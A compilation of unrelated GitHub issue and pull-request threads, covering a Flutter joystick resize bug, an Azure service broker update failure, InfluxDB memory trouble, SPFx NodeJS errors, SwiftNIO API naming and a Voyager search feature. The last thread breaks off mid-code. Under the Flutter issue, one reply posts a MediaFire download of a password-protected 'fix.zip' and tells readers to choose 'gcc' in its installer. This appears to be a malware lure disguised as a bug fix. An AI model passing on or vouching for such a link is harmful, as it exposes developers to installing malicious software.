Window resize results in inconsistent resize behaviour of stick and base

When the window get's resized, then the joystick should be resized as well. It partially works at current state. See described cases:
Regular (full size); looks okay:

Reduced width; whilst both base, arrows and stick get smaller, stick and arrow move down:

Reduced width by a lot; base okay, stick and arrows too large:

Reduced height; base does not resize, stick and arrows resize but move up:

Is this something i can fix from my codeside?
For reference:
import 'package:flutter/material.dart';
import 'package:flutter_joystick/flutter_joystick.dart';

class DigitalJoystick extends StatefulWidget {
  const DigitalJoystick({super.key});

  @override
  State<DigitalJoystick> createState() => _DigitalJoystickState();
}

class _DigitalJoystickState extends State<DigitalJoystick> {
  static const ballSize = 20.0;
  static const step = 10.0;

  double _x = 100;
  double _y = 100;
  JoystickMode _joystickMode = JoystickMode.horizontalAndVertical;

  @override
  void didChangeDependencies() {
    _x = MediaQuery.of(context).size.width / 2 - ballSize / 2;
    super.didChangeDependencies();
  }

  @override
  Widget build(BuildContext context) {
    return SizedBox(
        child: Stack(
      children: [
        Align(
          alignment: const Alignment(0, 0.8),
          child: Ball(_x, _y),
        ),
        Align(
          alignment: const Alignment(0, 0.8),
          child: Joystick(
            base: JoystickBase(
              decoration: JoystickBaseDecoration(
                color: Colors.white38,
                drawArrows: true,
                drawOuterCircle: true,
              ),
            ),
            stick: JoystickStick(
              decoration: JoystickStickDecoration(color: Colors.pink),
            ),
            mode: _joystickMode,
            listener: (details) {
              setState(() {
                _x = _x + step * details.x;
                _y = _y + step * details.y;
              });
            },
          ),
        ),
      ],
    ));
  }
}

class Ball extends StatelessWidget {
  static const ballSize = 20.0;
  final double x;
  final double y;

  const Ball(this.x, this.y, {super.key});

  @override
  Widget build(BuildContext context) {
    return Positioned(
      left: x,
      top: y,
      child: Container(
        width: ballSize,
        height: ballSize,
        decoration: const BoxDecoration(
          shape: BoxShape.circle,
          color: Colors.redAccent,
          boxShadow: [
            BoxShadow(
              color: Colors.black12,
              spreadRadius: 2,
              blurRadius: 3,
              offset: Offset(0, 3),
            )
          ],
        ),
      ),
    );
  }
}

usage in page:
Row(children: [Flexible(flex: 1, child: Container(color: Colors.red,)),Flexible(flex: 5, child: Container(
      color: Colors.black,)), Flexible(flex: 1, child: Container(color: Colors.red, child: DigitalJoystick(),))],)

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


How can I use  'protect_content' => true in sanding?

Could you elaborate this?

I'am sorry ,i find method ->protected() in documentation


Is there a good way to use the screen as a source?

@jgh- can you provide a sample for this? a source class that receives CVPixelBuffer.


Reapplying ServiceInstance yaml fails

I have the following postgresql-instance.yaml which I applied, along with a ServiceBinding and OSBA successfully deployed a DB for me.
apiVersion: servicecatalog.k8s.io/v1beta1
kind: ServiceInstance
metadata:
  name: postgres-9-6-azure-instance
  namespace: default
spec:
  clusterServiceClassExternalName: azure-postgresql-9-6
  clusterServicePlanExternalName: basic
  parameters:
    location: eastus
    resourceGroup: RgApplication
    sslEnforcement: disabled
    firewallRules:
      - startIPAddress: "<IP_ADDRESS>"
        endIPAddress: "<IP_ADDRESS>"
        name: "AllowAll"

I decided to enable SSL so changed the one line sslEnforcement: enabled and did kubectl apply -f postgresql-instance.yaml
apiVersion: servicecatalog.k8s.io/v1beta1
kind: ServiceInstance
metadata:
  name: postgres-9-6-azure-instance
  namespace: default
spec:
  clusterServiceClassExternalName: azure-postgresql-9-6
  clusterServicePlanExternalName: basic
  parameters:
    location: eastus
    resourceGroup: RgApplication
--- sslEnforcement: disabled
+++ sslEnforcement: enabled
    firewallRules:
      - startIPAddress: "<IP_ADDRESS>"
        endIPAddress: "<IP_ADDRESS>"
        name: "AllowAll"

After that my Instance is now in a failed state. I see the following from the catalog-controller-manager logs:
I1007 11:13:30.531218       1 controller_instance.go:1748] ServiceInstance "default/postgres-9-6-azure-instance" v660: Update request for ServiceInstance in-flight to Broker                                                                                │
│ I1007 11:13:30.737184       1 client.go:221] handling failure responses                                                                                │
│ I1007 11:13:30.737440       1 controller_instance.go:1748] ServiceInstance "default/postgres-9-6-azure-instance" v661: ServiceBroker returned a failure for update call; update will not be retried: Status: 400; ErrorMessage: ValidationError; Description: The value provided for resourceGroup is invalid: unrecognize │
│ d field; ResponseError: <nil>                                                                                │
│ I1007 11:13:30.737465       1 controller_instance.go:1748] ServiceInstance "default/postgres-9-6-azure-instance" v661: ServiceBroker returned a failure for update call; update will not be retried: Status: 400; ErrorMessage: ValidationError; Description: The value provided for resourceGroup is invalid: unrecognize │
│ d field; ResponseError: <nil>                                                                                │
│ I1007 11:13:30.737793       1 event.go:209] Event(v1.ObjectReference{Kind:"ServiceInstance", Namespace:"default", Name:"postgres-9-6-azure-instance", UID:"ecd02ffb-e87e-11e9-9f5e-a6ea559b8f6e", APIVersion:"servicecatalog.k8s.io/v1beta1", ResourceVersion:"661", FieldPath:""}): type: 'Warning' reason: 'UpdateInstan │
│ ceCallFailed' ServiceBroker returned a failure for update call; update will not be retried: Status: 400; ErrorMessage: ValidationError; Description: The value provided for resourceGroup is invalid: unrecognized field; ResponseError: <nil>

From svcat
$ svcat describe instance postgres-9-6-azure-instance
  Name:        postgres-9-6-azure-instance
  Namespace:   default
  Status:      Failed - ServiceBroker returned a failure for update call; update will not be retried: Status: 400; ErrorMessage: ValidationError; Description: The value provided for resourceGroup is invalid: unrecognized field; ResponseError: <nil> @ 2019-10-07 11:13:30 +0000 UTC
  Class:       azure-postgresql-9-6
  Plan:        basic

Parameters:
  firewallRules:
  - endIPAddress: <IP_ADDRESS>
    name: AllowAll
    startIPAddress: <IP_ADDRESS>
  location: eastus
  resourceGroup: RgApplication
  sslEnforcement: enabled

Bindings:
             NAME              STATUS
+----------------------------+--------+
  postgres-9-6-azure-binding   Ready

I should add:
$ helm ls
NAME   	REVISION	UPDATED                 	STATUS  	CHART                          	APP VERSION	NAMESPACE
catalog	1       	Sun Oct  6 01:55:06 2019	DEPLOYED	catalog-0.2.1                  	           	catalog
osba   	1       	Sun Oct  6 01:56:20 2019	DEPLOYED	open-service-broker-azure-1.8.3	1.8.3      	osba

I'm seeing this as well for other resources (storage and mysql).  Basically the provisioning step works great, but any updates (even though the changed parameter is allowed per the update schema) result in a failure due to other "unrecognized" parameters.  It seems that all the provisioning parameters are getting injected into the update call.  I'm still trying to track down the source of this, but am glad to know others are seeing this behavior as well and I'm not crazy :)

Any update on this issue?


Trading Achievement Bug

Describe the bug
Sending and Receiving pokemon achievement will not count unless you are the first player in the trade machine.
To Reproduce
Steps to reproduce the behavior:
Grab a friend to trade with and have one of you go into the trade machine first then the other after, proceed to do a trade as normal then after the trade has completed check your /achievements. You will notice progression only counted for the player that entered the trade machine first.
Expected behavior
Expected both players to get progression counted toward their /achievements.
Username:
G59Rhett
Server name (all applicable):
Titan

forwarded


⚠ Bofrost.es has degraded performance

In a836085, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1340 ms

Resolved: Bofrost.es performance has improved in e91d23e after 13 minutes.


Corrupted DB? Cannot run SHOW TAG KEYS, or other commands in a timely manner.

Hi,
I have an InfluxDB DB which is 5.7 GB, and I can no longer access data in it. The following queries are all timeing out.
SHOW TAG KEYS from "my_measurement"
SHOW TAG VALUES from "my_measurement" WITH KEY = "any_key"

Bug report
System info:
InfluxDB` v0.12.1 (git: 0.12 e094138084855d444195b252314dfee9eae34cab)
14.04.1-Ubuntu

/var/lib/influxdb/data/my_measurement/default
2.2G    ./118
633M    ./140
160K    ./111
2.9G    ./129
5.7G    .

./111:
-rw-r--r-- 1 influxdb influxdb 156302 Jun  5 20:59 000000001-000000001.tsm

./118:
-rw-r--r-- 1 influxdb influxdb<PHONE_NUMBER> Jun 12 21:02 000000004-000000003.tsm
-rw-r--r-- 1 influxdb influxdb  182004527 Jun 12 21:03 000000004-000000004.tsm

./129:
-rw-r--r-- 1 influxdb influxdb<PHONE_NUMBER> Jun 23 09:15 000000005-000000002.tsm
-rw-r--r-- 1 influxdb influxdb  869810106 Jun 23 09:17 000000005-000000003.tsm

./140:
-rw-r--r-- 1 influxdb influxdb 663239508 Jun 21 23:20 000000001-000000001.tsm

Influx is using all available memory 16GB, and swapping a lot.
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
12448 influxdb  20   0 27.653g 0.015t      0 S   9.0 97.0 112:35.50 influxd

name: database
tags: database=my_measurement
numMeasurements numSeries
--------------- ---------
2               1625569

name: write
-----------
pointReq        pointReqLocal   req     subWriteOk      writeOk
262589          262589          338     338             338

name: runtime
-------------
Alloc           Frees           HeapAlloc       HeapIdle        HeapInUse       HeapObjects     HeapReleased    HeapSys         Lookups Mallocs         NumGC   NumGoroutine    PauseTotalNs    Sys             TotalAlloc
4896511552      677218840<PHONE_NUMBER><PHONE_NUMBER><PHONE_NUMBER>      52045889<PHONE_NUMBER><PHONE_NUMBER><PHONE_NUMBER>29       90<PHONE_NUMBER>9831<PHONE_NUMBER>8<PHONE_NUMBER>4

Steps to reproduce:

Restart influxdb service
Wait 5 min to load all our databases. The longest files to load are all in the problematic measurement DB.
As soon as I query for my TAG values, or keys, it hangs for a very long time.

Expected behavior:
Run in a timely manner

@xlash You have over 1.5M series in the database. Please see our technical paper on performance tuning tips.


Error: Your dev environment is running NodeJS version v6.10.3 which does not meet the requirements for running this tool. This tool requires a version of NodeJS that matches >=8.9.4 <9.0.0

Thank you for reporting an issue or suggesting an enhancement. We appreciate your feedback - to help the team to understand your needs, please complete the below template to ensure we have the necessary details to assist you.
(DELETE THIS PARAGRAPH AFTER READING)

Category

[ ] Question
[ ] Typo
[ ] Bug
[ ] Additional article idea

For the above list, an empty checkbox is [ ] as in [SPACE]. A checked checkbox is [x] with no space between the brackets. Use the PREVIEW tab at the top right to preview the rendering before submitting your issue.
If you are planning to share a new feature request (enhancement / suggestion), please use SP Dev UserVoice at http://aka.ms/sp-dev-uservoice. (DELETE THIS PARAGRAPH AFTER READING)
(DELETE THIS PARAGRAPH AFTER READING)

Expected or Desired Behavior

If you are reporting a bug, please describe the expected behavior. If you are suggesting an enhancement please describe thoroughly the enhancement, how it can be achieved, and expected benefit.
(DELETE THIS PARAGRAPH AFTER READING)

Observed Behavior

If you are reporting a bug, please describe the behavior you expected to occur when performing the action. If you are making a suggestion, you can delete this section.
(DELETE THIS PARAGRAPH AFTER READING)

Steps to Reproduce

If you are reporting a bug please describe the steps to reproduce the bug in sufficient detail to allow testing. Only way to fix things properly, is to have sufficient details to reproduce it. If you are making a suggestion, you can delete this section.
(DELETE THIS PARAGRAPH AFTER READING)

Submission Guidelines

All suggestions or bugs are welcome, please let us know what's on your mind.
If you are reporting an issue around any of the documents or articles, please ensure that you have clear > reference on the specific file or URL, which should be fixed.
If you have technical questions about the framework, we’ll be monitoring #spfx, #spfx-webparts, and > #spfx-tooling on (SharePoint StackExchange)[http://sharepoint.stackexchange.com/]. You can also > alternatively submit your question to (SharePoint Developer group)> [https://network.office.com/t5/SharePoint-Developer/bd-p/SharePointDev] at Office Network.
Remember to include sufficient details and context.
If you have multiple suggestions or bugs please submit them in separate bugs so we can track resolution.

(DELETE THIS PARAGRAPH AFTER READING)

Thanks for your contribution! Sharing is caring.

Could you please provide the details?

Alex, what details exactly you need from me? I created a SPFx webpart and ran gulp serve.

Alex,

Hi @pmeripe!
So, first of all, if you're just starting a new project, I would recommend to update SPFx to version the latest version 1.8.0.
But your error is related to the version of NodeJS installed on your machine. SharePoint framework works with version 8 of NodeJS.
Please, refer the documentation to install correct version of NodeJS on your machine.

@AJIXuMuK is correct... the error clearly states you're running Node.js v6 when only Node.js v8 is currently supported.


Ninja throwing star ability seems bugged

Description
Pressing the spawn throwing star ability does not seem to do anything
Reproduction
spawn ninja, be ninja, try to spawn ninja star. No star.

As temp workaround, swapping suit battery allows the ability to spawn starts.


Disabling double initialization of the engine

The engine interface must not allow double initialization.
It is necessary to implement dbe as an singleton.

PR created: https://github.com/intel-go/omniscidb/pull/74

New PR created: https://github.com/intel-ai/omniscidb/pull/88

Also the Segmentation fault could be reproduced with c++ omniscidb unit test:

add to cmake: -DENABLE_DBE=ON -DENABLE_TESTS=ON -DENALE_CUDA=OFF
run test: <build_dir>/Tests/EmbeddedDatabaseTest

I found EmbeddedDbTest in build/bin which is not the right place for it. Also an attempt to run tests caused:
Exception: IOError: Failed to open local file '/localdisk/artemale/test.csv'. Detail: [errno 2] No such file or directory

I finally gt the test built and could reproduce the problem. I found two issues:

We explicitly try to reset the query runner in a destructor of our singleton. Query runner is a singleton as well and it can be destroyed before our engine. We can just remove QR::reset from our destructor because it would die anyway.
We also keep a session alive in our engine and therefore it can outlive query runner and other services. Session keeps Calcite alive and seems it might be too late to destroy calcite when engine is destroyed because thrift is unavailable. We can just drop this session pointer. We don't use it anyway.

After these two issues fixed I can successfully run EmbeddedDbTest . But the Modin tests still fail at finalization. The failure is in FSI destructor. Here is a top of the stack:
Thread 1 "/localdisk/ilya" received signal SIGSEGV, Segmentation fault.
__new_sem_wait (sem=0x0) at sem_wait.c:39
39      sem_wait.c: No such file or directory.
(gdb) bt
#0  __new_sem_wait (sem=0x0) at sem_wait.c:39
#1  0x0000555555696a69 in PyThread_acquire_lock_timed (lock=0x0, microseconds=-1, intr_flag=0)
    at /tmp/build/80754af9/python_1599203911753/work/Python/thread_pthread.h:459
#2  0x0000555555747c15 in new_threadstate (interp=0x0, init=1) at /tmp/build/80754af9/python_1599203911753/work/Python/pystate.c:613
#3  0x00005555555cfdb1 in PyGILState_Ensure () at /tmp/build/80754af9/python_1599203911753/work/Python/pystate.c:1292
#4  0x00007fffc42d0254 in std::_Sp_counted_ptr_inplace<arrow::py::NumPyBuffer, std::allocator<arrow::py::NumPyBuffer>, (__gnu_cxx::_Lock_policy)2>::_M_dispose() ()
   from /localdisk/ilyaenko/miniconda3/envs/omnisci-dev/lib/python3.8/site-packages/pyarrow/../../../libarrow_python.so.16
#5  0x00007fffc44c4dfa in std::vector<std::shared_ptr<arrow::Buffer>, std::allocator<std::shared_ptr<arrow::Buffer> > >::~vector()
    () from /localdisk/ilyaenko/miniconda3/envs/omnisci-dev/lib/python3.8/site-packages/pyarrow/lib.cpython-38-x86_64-linux-gnu.so
...

Here we free arrow data. I'm not 100% sure but it looks like we try to destroy arrow fragments created in python and need working python interpreter for that which is not available by that time.

The source of the problem is ForeignStorageInterface::destroy call from the singleton destructor. We should call this method earlier when the python interpreter is still alive.

I propose to reject the singleton idea and for now just allow a single engine creation (we can keep a flag that the engine has been already created and give an error on secondary creation attempts). This would allow us to correctly perform deinitialization in the engine's destructor.

PR created: https://github.com/intel-ai/omniscidb/pull/99 and merged into modin branch


How to integrate the (Create mode) report feature with this package

Hi Team
I need to implement the create mode report feature but i am not able to find the way in the configuration to implement it
Could you please guide and provide code sample config for create
Thanks

You can look into embedding the report in edit mode. You should get a save option once it is in edit mode. I have not tried the create mode. In the embed config, where you provide the mode you can just change it to Edit

Hi Nirjhar
Thank you the reply and helping
I tried it with edit it's working as per edit  but in different way but i want to implement the only Create mode so that user can create new report
Below is the example mentioned in playground for create mode
https://microsoft.github.io/PowerBI-JavaScript/demo/v2-demo/index.html#
Ss of create mode

As per code - For create mode they are using
var report = powerbi.createReport(embedContainer, embedCreateConfiguration); instead of embed
I am able to execute all almost all examples mentioned in playground with this package but not able to find a way

**Create mode
How to share a report**

And even i checked the implementation of  https://github.com/microsoft/powerbi-client-react , only embed is implemented and for create mode i feel we need to do something different.

I am not 100% what is different in the create mode but you can embed an empty report in edit mode which would just be similar to create a report.

Report is created using the createReport API of Power BI JS SDK.
The createReport API is not supported in this React library as of now.


chore: Update main.json

Purpose

Regenerate main.json, as it wasn't updated.

Does this introduce a breaking change?

[ ] Yes
[x] No

Superseded by #919


Change About (hamburger) menu items

I believe we need to avoid links to Production eNews. This is problematic for a number of reasons.  Pursuant to this, please make the following changes:
Make the following static pages in Alpha (copy the html to an alpha page)

Publications
Scientific Working Group
Personnel
Collaborators
Related Sites

Remove the following fromt the menu for now (we need to re-think how we do these and I will defend their removal to Rick or whoever)

Data Releases and Updates
Website Updates
Presentations

I've made these changes to pull the static content out of enews with the exception of news items themselves which is more problematic and will need more work.  We probably need to update the style on some of these somewhat (or at least pull in the css classes that were in use into our site css).
All of the static content is located at https://github.com/PATRIC3/p3_api/tree/master/content and can be checked out and edited or edited inline in github.  After updates are made, a simple git pull is all that is required to deploy the updates to the site.

Will need to move the content from Specialty data collections over too, so i'm reopening this ticket.

I am closing this ticket and opening another one specifically for special data collections, for better tracking.


update(FilePreview): Avoid open file if it is already opened

What this PR does 📖
1. Avoid to open file preview if that file is already opened, and show a notification
https://user-images.githubusercontent.com/63157656/234697044-b8117811-ab32-4aef-898e-8185c5394c0a.mov
2. Show notification if file does not have thumbnail
https://user-images.githubusercontent.com/63157656/234697208-98ac0d37-d47a-4060-b991-b422b5aa8986.mov

Which issue(s) this PR fixes 🔨

Resolve #

Special notes for reviewers 🗒
Additional comments 🎤


PERF: Consider using xxhash

Clear and concise description of the problem
Hi @yyx990803
xxhash3 is the most popular next generation hashing algorithm although there are many other contenders.
A significantly faster hashing algorithm could reduce bottlenecks?
Suggested solution
Webpack is switching to xxhash64 by default
https://github.com/webpack/webpack/pull/14306
Esbuild switched to xxhash64
https://github.com/evanw/esbuild/issues/1099
https://github.com/evanw/esbuild/pull/1107
(which is slower than xxhash3)
No idea about what rollup use.
Since this can lead to potentially significant performance win, I suggest Vite to migrate to xxhash64 or the faster xxhash3.
BTW xxhash60 (no idea about xxhash3) would make the hashing FIPS compliant
https://github.com/webpack/webpack/issues/13572
Question:
Does vite hashes needs to be aligned with the same algorithm than esbuild/rollup? No idea
The length of hashes should no be altered Iengthened guess? It would be a visual regression for debugging/readability if hashes were longer.
Alternative
xxhash is great but alternatives could be considered, especially if xxhash3 is not enough to eliminate all hash related bottlenecks.
Wyhash is significantly faster then xxhash3 in general.
https://github.com/tkaitchuck/aHash is significantly faster than wyhash and is probably the fastest useful hashing function.
Additional context
.
Validations

[X] Follow our Code of Conduct
[X] Read the Contributing Guidelines.
[X] Read the docs.
[X] Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

I will not submit a PR myself unfortunately :)

Clear and concise description of the problem
Hi @yyx990803
xxhash3 is the most popular next generation hashing algorithm although there are many other contenders. A significantly faster hashing algorithm could reduce bottlenecks?
Suggested solution
Webpack is switching to xxhash64 by default webpack/webpack#14306 Esbuild switched to xxhash64 evanw/esbuild#1099 evanw/esbuild#1107 (which is slower than xxhash3)
No idea about what rollup use.
Since this can lead to potentially significant performance win, I suggest Vite to migrate to xxhash64 or the faster xxhash3.
BTW xxhash60 (no idea about xxhash3) would make the hashing FIPS compliant webpack/webpack#13572
Question: Does vite hashes needs to be aligned with the same algorithm than esbuild/rollup? No idea The length of hashes should no be altered Iengthened guess? It would be a visual regression for debugging/readability if hashes were longer.
Alternative
xxhash is great but alternatives could be considered, especially if xxhash3 is not enough to eliminate all hash related bottlenecks.
Wyhash is significantly faster then xxhash3 in general. https://github.com/tkaitchuck/aHash is significantly faster than wyhash and is probably the fastest useful hashing function.
Additional context
.
Validations

[x]  Follow our Code of Conduct
[x]  Read the Contributing Guidelines.
[x]  Read the docs.
[x]  Check that there isn't already an issue that request the same feature to avoid creating a duplicate.

ahash is slower than wyhash despite ahash's own claim in rust.  smhasher has both benchmarks.

The only hashing library I see Vite is using is hash-sum, and that's for plugin-vue only. Otherwise Vite itself implements a simple hash function like so:
https://github.com/vitejs/vite/blob/42c15f6bad06f98962bc058c69a9f1e1a0f23440/packages/vite/src/node/optimizer/index.ts#L823-L825
And IMO I'm not sure bringing in a new library here is worth the effort, considering it would also increase the bundle size.

Closing as #7975 has been merged


Added an additional Material theme to the Gallery

The new theme is called "purple" and it's color swatch is shades of purple. The purple theme also:

Sets the button text theme to be ButtonTextTheme.primary which causes many aspects of buttons to be rendered in the primary color.
Sets the raised button fill color TextThemData.buttonColor to the primary color too.
Sets up the InkRipple splash factory

The drawer gets the additional theme selection:

Most of the demo pages reflect the theme's very purple colors:


v0.7.9 not tagged on GitHub

Please tag this release, thanks! I noticed when trying to package tihs in Fedora as a dependency for nushell.sh

Fixed


Add a roadmap

I think a roadmap of planned and upcoming features would be great for potential outside contributors such as myself. Maybe just start laying out ideas and features (as issues here or something like that) you have been thinking about implementing and see where it goes from there? I believe this would make contributing a lot easier.
A Contibuting-guide would also be great.

Thanks for the suggestion


Add new protocol for ChannelHandler to get buffered bytes in the channel handler

Add new protocol to get buffered bytes from ChannelHandlers and ChannelPipeline API to query the buffered bytes from ChannelHandlers
Motivation:
In #2849, a new ChannelOption is introduced to retrieve the number of buffered outbound bytes in a Channel. However, this solution does not account for bytes that may be buffered within individual ChannelHandlers. This PR builds on #2849 by adding functionality to audit buffered bytes residing in ChannelHandlers and exposing this information through new ChannelPipeline APIs.
Modifications:

Two new protocols for ChannelHandler to audit buffered bytes for inbound and outbound.

NIOOutboundBufferedBytesAuditableChannelHandler
NIOInboundBufferedBytesAuditableChannelHandler

New ChannelPipeline APIs

auditOutboundBufferedBytes()
auditOutboundBufferedBytes(in: ChannelHandlerContext)
auditInboundBufferedBytes()
auditInboundBufferedBytes(in: ChannelHandlerContext)

Result:
Users can now easily query the amount of bytes buffered in ChannelHandlers using the new ChannelPipeline APIs, enhancing the visibility of ChannelHandler performance.

I'd like to make PR to gather some feedback from the community regarding the design before proceeding with further implementation. I'm planning to add more test cases and make existing ChannelHandlers in SwiftNIO project conform to new protocols.

Thanks so much for opening this @johnnzhou! cc @weissi @joannis @FranzBusch who are all going to care about this API.

I am a bit unsure if the word audit is the right one here. Could we just drop that from all the APIs here? What do others think?

Hi @FranzBusch, thanks for this suggestion. I originally designed this functionality as a way for users to inspect the number of bytes buffered in the channel handlers. Perhaps audit is more suited for financial contexts.
How about we use the word count instead? For instance, we could rename the protocol to NIOOutboundBufferedBytesCountableChannelHandler and the public method to countOutboundBufferedBytes. This change would preserve the idea of inspection while emphasizing the action of counting, making it more intuitive.
What do you think?

Would this PR also (intend to) support child channels, such as in HTTP/2.

How about we use the word count instead? For instance, we could rename the protocol to NIOOutboundBufferedBytesCountableChannelHandler and the public method to countOutboundBufferedBytes. This change would preserve the idea of inspection while emphasizing the action of counting, making it more intuitive.

Do we need count even here? What about NIOOutboundByteBufferingChannelHandler? The current name of the property sounds good to me.

Would this PR also (intend to) support child channels, such as in HTTP/2.

Depends what you expect. Every ChannelHandler that does multiplexing such as the H2Handler needs to decide how to treat. When a handler in a stream channel asks about the outbound buffered bytes it could return both the buffer from just the stream or the whole connection. We need to decide and implement that on a case-by-case basis.

Do we need count even here? What about NIOOutboundByteBufferingChannelHandler? The current name of the property sounds good to me.

I'm generally ok with NIOOutboundByteBufferingChannelHandler. However, my main concern is that this name might be a bit misleading. Two new protocols are not intended to help provide buffering mechanism or manage bytes storage in the channel handlers. Instead, their main function is to collect the number of bytes buffered in the channel handler and allow users to make informed decision on their network load.

Would this PR also (intend to) support child channels, such as in HTTP/2.

Depends what you expect. Every ChannelHandler that does multiplexing such as the H2Handler needs to decide how to treat. When a handler in a stream channel asks about the outbound buffered bytes it could return both the buffer from just the stream or the whole connection. We need to decide and implement that on a case-by-case basis.

My original plan is to implement this protocol for channel handlers provided by NIO. But maybe we need to make separate PRs for each handler?

I'm generally ok with NIOOutboundByteBufferingChannelHandler. However, my main concern is that this name might be a bit misleading. Two new protocols are not intended to help provide buffering mechanism or manage bytes storage in the channel handlers. Instead, their main function is to collect the number of bytes buffered in the channel handler and allow users to make informed decision on their network load.

I understand where you are coming from. I personally still prefer that name but I would like to hear what @Lukasa @glbrntt or @weissi think.

My original plan is to implement this protocol for channel handlers provided by NIO. But maybe we need to make separate PRs for each handler?

We should definitely separate the API additions in this PR from the adoption.

I'm happy for us to go with NIOOutboundByteBufferingChannelHandler

Sounds good. I will make the change accordingly.


Specific Album Request

Mycroft does not respond to requests for album such as:
"Hey Mycroft, play the album Led Zeppelin 3 on Spotify"

This should now be working along with "play something by jethro tull"

Closing


Fix: Fix PLUGIN_DNS_PROVIDER value in docker-compose.yml sample files

This MR fixes PLUGIN_DNS_PROVIDER environment variable value in docker-compose.yml sample files of all variants.

lgtm


Search in bread

In other day I see someone request search in bread and I'm trying implement it I dont know if this is the best way but I'm open to suggestions :)

If this is acceptable I will implement in others
ps. forget my tables not styled

While I'm sure this would work, I'm not sure I like it.  It's basically doing a full-text search across all fields of the table.  Unless those fields all have indexes, this would be incredibly slow on large tables (many columns OR many rows)

Maybe creating an array at each model, containing all seachable fields?
something like:
$searchable = ['field_a', 'field_b',...]

But create an array by hand remove all flexibility of voyager
Other option I have thinking is in bread we can choose (browse, add, edit, delete) create new option with search

I suggest filters instead of this.

With the ability to configure the fields/rows we want from BREAD's details (JSON options)
i.e.:
{
    "searchable": {
        "field_potatoes": { // the fields available to search for as a filter
            "as": "Yummy potatoes", // label for <select> display matters
            "method": "contains", // SQL method for search statement
            "addWhere": { // additional WHERE clauses to make the filter more precise if needed
                "field_tomatoes": "null"
            }
        },
        "field_tomatoes": {
            "as": "Juicy tomatoes",
            "method": "like"
        }
    }
}

Are you implementing this ??

If nobody else does... I can give it a try.
Since I saw this PR I "suggested" what's in my opinion a better approach, but that's it.

Since I saw your PR, I simply gave a suggestion to implement it (imo) in a better way.
If everyone agrees, and you don't  want to address this, I can give it a try.

@turtuga we can save searchable fields on bread options, but we need to think about table indexes (like @fletch3555 mentioned), or queries could get really slow.
There's also Laravel Scout to take in mind, it's a great package.

@Frondor I like your suggestion I can try implement it if others agree.
@akazorg I don't know these package :( but I take a look at your suggestion and see this $orders = App\Order::search('Star Trek')->get(); in that way can also be slow in large tables ?

You have to be cautious with Scout because that means end users having to manually  add a trait to their models. Which is not a big deal but I don't know if we want that, because it involves executing a command in order to create the indexes manually.
We can still use Artisan::run() on each BREAD update/save event,  so indexes are created but that's an extra job because you need an interface for enabling/disabling/setting searchable fields... To be honest, that part isn't clear to me right now.
And finally we'd need to create our own driver for voyager, since it doesn't come with other than Algolia one.
So I suggest to try without any package first.
/admin/bread?filter=field1?q=foo

👍 for doing this without the Laravel Scout package.

But just to be sure, are we all agreeing on doing filters?

I agree :)

Hey guys, I just mentioned Scout to let some of you know about. I also wasn't thinking on implement this right away.
Search is a missing feature, thought.
Regarding indexes, imho there is always database work involved, users can't expect the search to work magically fast on a huge database, without previously prepare it for so.

hello @turtuga any progress on this?

I'm little busy right now..

What is the progress on this. the missing search is problematic. I think this is a keyy feature. Yoyager makes no sens if you can only fill 100 rows without slowing down everything

@pboethig you're right, this needs to be done. It's one of the priorities.

Cool, thx for feedbacking. Do you have a roadmap on wich we can see when the search for backend paginatiin is comming.
Kind regards
Peter

Hey @pboethig, there's no roadmap atm, but we are working on that.
The search issue will be fixed soon. I personally consider this a priority too.
Happy coding

Thx Bruno. !!
2017-06-16 20:45 GMT+02:00 Bruno Torrinha<EMAIL_ADDRESS>
Hey @pboethig https://github.com/pboethig, there's no roadmap atm, but
we are working on that.
The search issue will be fixed soon. I personally consider this a priority
too.
Happy coding
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/the-control-group/voyager/pull/937#issuecomment-309104701,
or mute the thread
https://github.com/notifications/unsubscribe-auth/APnKAwNW3iJS_LL5jVFwO-EvHBs7G0V2ks5sEs06gaJpZM4MdOtC
.

@akazorg Hi, what do you think about connect laravel-dataTables with voyager? This eliminate problem with slow loading page more than 1k rows, because load is processing on server-side. I actually in work testing this package with 100k rows but i have a problem with searching and query building. If im done with it i can tell you this is good idea and we will implement it to voyager. Server side pagination could be delete.

Hi Adrian, I don't know that package, will have to test it.
I'm sure we need Server Side pagination with the Search feature. Time is needed for this task.

Laravel dataTables is a dataTables.js package for loading data like a process on the server-side. In dataTables.js you have a search engine. Laravel dataTables working like a normal server side getting rows and pagination but getting data from models with ajax.

Hi Adrian,
I like this datatable project. Its important, that we can modifi the
columns with custom transformer, I think its a good idea to have a look on:
http://dt54.yajrabox.com/eloquent/transformer
The transfomers allows you to use ovveridable views to implement custom
formatters,
It would be great, if you have customization in mind.
What do you think, how long does this approximtly takes on time?
Kind regards
Peter
2017-06-18 10:39 GMT+02:00 AdrianKuriata<EMAIL_ADDRESS>
Laravel dataTables is a dataTables.js package for loading data like a
process on the server-side. In dataTables.js you have a search engine.
Laravel dataTables working like a normal server side getting rows and
pagination but getting data from models with ajax.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/the-control-group/voyager/pull/937#issuecomment-309264489,
or mute the thread
https://github.com/notifications/unsubscribe-auth/APnKA2X2gc7bmQeMxp-2Z8oruBZ_Jn0Mks5sFOI0gaJpZM4MdOtC
.

Hello,
I had a look on DataTables package, it looks great, really!
IMHO, Search should be part of Voyager Core, it doesn't make sense to depend on any package.
Please be patience, I'm also missing this feature! :)
Something will come up on the next days.

Hi Bruno,
That sounds very well. I will look forward.
Thanks you very much.
Peter
2017-06-19 2:51 GMT+02:00 Bruno Torrinha<EMAIL_ADDRESS>
Hello,
I had a look on DataTables package, it looks great, really!
IMHO, Search should be part of Voyager Core, it doesn't make sense to
depend on any package.
Please be patience, I'm also missing this feature! :)
Something will come up on the next days.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/the-control-group/voyager/pull/937#issuecomment-309314657,
or mute the thread
https://github.com/notifications/unsubscribe-auth/APnKA4_r9mJZYNBQmjzLpnlDjI3UOmivks5sFcYRgaJpZM4MdOtC
.

@akazork We talking about searching, i mean things about more than 3k rows and slow loading if our database has to much records. You want do search engine but on the server side option? So sorting by fields won't working? I'm in work, couple minutes ago i did a filtering database with laravel dataTables. Everything working perfectly, with 200k records in database loading and sorting working with some miliseconds.
public function getCustomData(Request $request)
    {
